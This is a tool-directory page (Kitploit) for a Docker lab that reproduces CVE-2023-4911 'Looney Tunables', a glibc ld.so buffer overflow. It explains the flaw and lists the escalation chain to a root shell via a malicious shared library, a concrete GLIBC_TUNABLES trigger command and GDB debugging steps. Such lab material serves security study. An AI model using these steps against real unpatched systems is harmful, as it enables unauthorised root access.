Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-4911-Lab — Docker-basiertes Labor zur Analyse und Ausnutzung von CVE-2023-4911 (Looney Tunables), einem Pufferüberlauf in glibc ld.so, der zu einer lokalen Privilegienausweitung führt. Enthält PoC, GDB-Analyse und Exploit-Entwicklungsumgebung. | Kitploit
Tools/GitHubGitHub/0xmoga/cve-2023-4911-lab
Privilege EscalationSchwachstellenanalyseExploitationReverse EngineeringDebuggerPenetrationstestsLernen & BildungBinary-ExploitationLabs & Praxis
GitHub0xmoga/cve-2023-4911-lab

CVE-2023-4911-Lab

Docker-basiertes Labor zur Analyse und Ausnutzung von CVE-2023-4911 (Looney Tunables), einem Pufferüberlauf in glibc ld.so, der zu einer lokalen Privilegienausweitung führt. Enthält PoC, GDB-Analyse und Exploit-Entwicklungsumgebung.

vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen

CVE-2023-4911 "Looney Tunables" Analyseumgebung

Docker-basierte Laborumgebung zur Analyse der Buffer-Overflow-Schwachstelle (Local Privilege Escalation) im dynamischen Lader der GNU C Library (glibc) und zur Entwicklung von Exploits.


CVE-Informationen

EintragWert
CVE-NummerCVE-2023-4911
AliasLooney Tunables
Betroffene VersionenGNU C Library (glibc) 2.34 ~ 2.38
Verwundbare VersionUbuntu 22.04 — libc6 2.35-0ubuntu3.3 und niedriger
Patch-Versionlibc6 2.35-0ubuntu3.4 (USN-6404-1, 2023-10-04)
TypBuffer Overflow in ld.so
AuswirkungLocal Privilege Escalation (normaler Benutzer → root)
EntdeckerQualys Security Research Team

Schwachstellenmechanismus

Der dynamische Lader der glibc (ld.so) parst beim Ausführen eines Programms die Umgebungsvariable GLIBC_TUNABLES.
Bei der Ausführung eines SUID-Binärprogramms wird __libc_enable_secure = 1 gesetzt, und ld.so betritt einen Codepfad, der diese Umgebungsvariable ungültig macht (nullify).
In diesem Prozess kommt es bei Eingaben im Format tunable1=tunable2=value aufgrund einer fehlerhaften Längenberechnung zu einem Buffer-Overflow.

root@kitploit:~
일반 바이너리:  __libc_enable_secure = 0  →  nullify 코드 미진입  →  취약점 없음
SUID 바이너리:  __libc_enable_secure = 1  →  nullify 코드 진입   →  버퍼 오버플로우 발생

Exploit-Ablauf:

root@kitploit:~
GLIBC_TUNABLES 오버플로우
        ↓
ld.so BSS 영역 link_map 포인터 덮어쓰기
        ↓
라이브러리 검색 경로를 evil_lib/ 경로로 변조
        ↓
evil.so 로드 → constructor 자동 실행
        ↓
setuid(0) + execve("/bin/bash") → root shell 획득

Ziele und Ausrichtung der Umgebungseinrichtung

Diese Umgebung wurde über die reine PoC-Ausführung hinaus mit dem Ziel entworfen, die Funktionsweise der Schwachstelle direkt zu analysieren und den Exploit zu entwickeln.

  • Reproduktion einer Umgebung, die tatsächlich die anfällige glibc-Version (2.35-0ubuntu3.3) ausführt
  • Bereitstellung einer Umgebung zur gemeinsamen Analyse des Quellcodes von ld.so und des Binärprogramms
  • Unterstützung dynamischer Analyse mittels GDB / gef / gdbserver
  • Praktische Übung des Szenarios von normalem Benutzer (researcher) → Root-Rechteerweiterung
  • Vollständige Isolierung durch Docker, damit jedes Teammitglied in derselben Umgebung mit der Analyse beginnen kann

Projektstruktur

root@kitploit:~
CVE-2023-4911/
├── Dockerfile                  # 취약 환경 이미지 정의 (Multi-stage 빌드)
├── run.sh                      # Docker 빌드/실행 관리 스크립트
├── check_environment.sh        # 컨테이너 시작 시 환경 자동 검증
├── poc/
│   ├── exploit.py              # 기본 PoC — crash(SIGSEGV) 확인용
│   ├── exploit_lpe.py          # LPE 익스플로잇 — GDB 분석 후 완성
│   └── evil_lib/
│       ├── evil.c              # root shell 실행하는 악성 공유 라이브러리
│       └── Makefile
└── test_targets/
    ├── test_suid.c             # SUID 테스트 바이너리 소스
    └── test_heap.c             # 힙 할당 테스트 바이너리 소스

Systemvoraussetzungen

  • Docker
  • Linux oder WSL2 (Windows)

Verwendung

1. Image erstellen und Container starten

root@kitploit:~
./run.sh build && ./run.sh run

2. Sudo-Passwort eingeben

Beim Start des Containers wird das Sudo-Passwort abgefragt.

root@kitploit:~
비밀번호: password

3. Schwachstelle überprüfen

root@kitploit:~
# SIGSEGV 발생 여부 확인
python3 /workspace/poc/exploit.py --check-only

# 직접 트리거
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA \
  /workspace/test_targets/test_suid

4. GDB-Analyse

root@kitploit:~
# 컨테이너 내부 직접 분석
gdb -q /workspace/test_targets/test_suid

# 원격 디버깅 (gdbserver)
# 컨테이너 내부
gdbserver :1234 /workspace/test_targets/test_suid

# 로컬 호스트
gdb
(gdb) target remote localhost:1234

5. LPE-Exploit ausführen

Nach Analyse von OVERFLOW_OFFSET und TARGET_ADDR mit GDB die Werte am Anfang von exploit_lpe.py aktualisieren und ausführen.

root@kitploit:~
python3 /workspace/poc/exploit_lpe.py

run.sh-Optionen


Informationen zur Analyseumgebung


Analyse-Schwerpunkte

Statische Analyse

root@kitploit:~
# 취약 함수 위치
/workspace/glibc-source/elf/dl-tunables.c

# 주요 함수
__tunables_init()   # 진입점
parse_tunables()    # 오버플로우 발생 지점
tunables_strdup()   # 버퍼 할당

Dynamische Analyse

root@kitploit:~
# strace로 시스템 콜 추적
strace -e trace=mmap GLIBC_TUNABLES="..." /workspace/test_targets/test_suid

# GDB로 __tunables_init 분석
gdb /workspace/test_targets/test_suid
(gdb) break __tunables_init
(gdb) set environment GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA
(gdb) run

Hinweise

Diese Umgebung ist nur für Bildungs- und Sicherheitsforschungszwecke bestimmt.

  • Diese Umgebung wurde für das Erlernen von Schwachstellen und die Exploit-Entwicklungsforschung erstellt.
  • Verwenden Sie sie niemals auf echten Produktionssystemen oder ohne Genehmigung.
  • Der Container wird im --privileged-Modus ausgeführt, daher nur in isolierter Umgebung verwenden.
  • Die gesamte rechtliche Verantwortung für den Missbrauch des Codes in diesem Repository liegt beim Benutzer.

Referenzen

  • Qualys Security Advisory
  • glibc offizielles Repository
  • Ubuntu Security Notice USN-6404-1
Tool herunterladen
BefehlBeschreibung
./run.sh buildDocker-Image erstellen
./run.sh runContainer im interaktiven Modus ausführen
./run.sh analysisAnalysemodus ausführen
./run.sh testSchnelle Schwachstellenüberprüfung
./run.sh cleanImages und Container bereinigen
EintragWert
Base-Imageubuntu:jammy-20230916 (vor Patch)
glibc-Version2.35-0ubuntu3.3 (verwundbar)
ld.so-Version2.35-0ubuntu3.3 (verwundbar)
Analyse-Kontoresearcher / password
glibc-Quellcode/workspace/glibc-source (2.35)
Haupt-Port1234 (gdbserver)
Container-Optionen--privileged, --pid=host